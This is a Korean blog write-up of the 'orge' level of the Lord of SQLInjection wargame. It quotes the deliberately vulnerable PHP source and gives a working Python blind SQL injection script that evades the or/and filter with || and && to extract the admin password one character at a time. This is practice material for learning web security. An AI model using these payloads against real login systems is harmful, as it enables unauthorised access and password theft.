본문 바로가기

챌린지/los.rubiya.kr

Lord of SQLInjection - orge

7번째 문제인 orge다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

지난 orc 문제와 비슷하게 첫번째 쿼리에서 admin 계정의 비밀번호를 알아내서 두번째 쿼리에서 인증하는 방식의 문제다. 

 

Lord of SQLInjection - orc

네 번째 문제인 오크다.

haruhiism.tistory.com

역시 blind sqli을 활용해서 문제를 풀어야 할 것이다. 지난번처럼 substr()같은 함수를 사용해서 문자의 일부분을 확인, 비교하는 방식으로 풀 수 있다. 그러기전에 먼저 length(pw) < 0, length(pw) < 1, ... 같은 비교문을 통해 admin 계정의 비밀번호의 길이를 탐색하고 한자리씩 비교하면 될텐데 orc 문제와 별다른 차이점이 없기 때문에 그때 사용했던 코드를 조금 변형시켜서 아래와 같이 사용할 수 있다. 이번 문제에서는 아까 darkelf처럼 and, or이 필터링되기 때문에 &&, || 같은 연산자로 전달하면 된다.

import requests

password = ''
password_length = 0

URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}

for estimated_length in range(100):
    query={'pw': '\' || id=\'admin\' && length(pw) < '+str(estimated_length)+'#'}
    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if("Hello admin" in res.text):
        password_length = estimated_length - 1
        print("admin's password length is {}".format(password_length))
        break
      
if password_length < 1:
    print("Password length unknown")
    exit()

for current_password_length in range(1, password_length+1) :
    for password_chr in range(ord('0'),ord('z')+1) :
        query={'pw': '\' || substr(pw,1,'+str(current_password_length)+')=\''+password+chr(password_chr)+'\'#'}
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if("Hello admin" in res.text):
            password=password+chr(password_chr)
            print(password)
            break

if len(password) == password_length:
    print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))
        

먼저 우리가 알아내야 하는 것은 admin 계정의 비밀번호 길이지 guest 계정이 아니기 때문에 다른 계정의 비밀번호 길이를 가져오지 않도록 "id='admin'"이라는 조건을 추가해준다. 그렇게 'for estimated_length in range(100)' 블록에서 "Hello admin"이라는 문자열을 얻을 때까지 파라미터를 바꿔가며 request해준다. 지금은 다른 문제를 풀다가 '='이 필터링되는 문제가 있어서 습관적으로 대소비교 연산자로 비밀번호 길이를 비교하고 있는데 이 문제에서는 '='을 사용해도 된다. 그 경우 'password_length = estimated_length - 1'은 'password_length = estimated_length'가 되어야 할 것이다.

 

비밀번호 길이를 얻었다면 그만큼 반복문을 돌려서 내부에서 이전처럼 영문자와 숫자 문자로 비교하기 위해 'for password_chr in range(ord('0'), ord('z')+1)' 블록으로 비교해준다. 이후 "substr(pw, 1, 1)='0'"처럼 비교해주는 구문을 작성하고 "Hello admin"이란 문자열을 얻을 때까지 비교한다. 이때는 깜빡하고 id가 admin인 조건을 빼먹었는데 결과적으로는 비밀번호를 찾을 수 있었으니 다행이지만 만약 guest 계정의 비밀번호 길이가 admin 계정과 동일하거나 비밀번호가 비슷(첫 글자가 같다던가)하다면 코드가 실패할 수 있으니 유의하자.

그래서 위의 코드를 돌려서 얻은 비밀번호를 입력하면 문제를 풀 수 있다.

 

 

이번 문제는 orc 문제와 거의 동일하지만 단지 연산자가 필터링됐을 뿐이다. 아마 이전 문제에서 and, or 연산자를 &&, ||으로 우회하는 방법을 배웠으니 blind sqli에서도 적용해보라는 의도인것 같다.

'챌린지 > los.rubiya.kr' 카테고리의 다른 글

Lord of SQLInjection - vampire  (0) 2020.12.30
Lord of SQLInjection - troll  (0) 2020.12.28
Lord of SQLInjection - darkelf  (0) 2020.12.27
Lord of SQLInjection - wolfman  (0) 2020.12.22
Lord of SQLInjection - orc  (0) 2020.12.19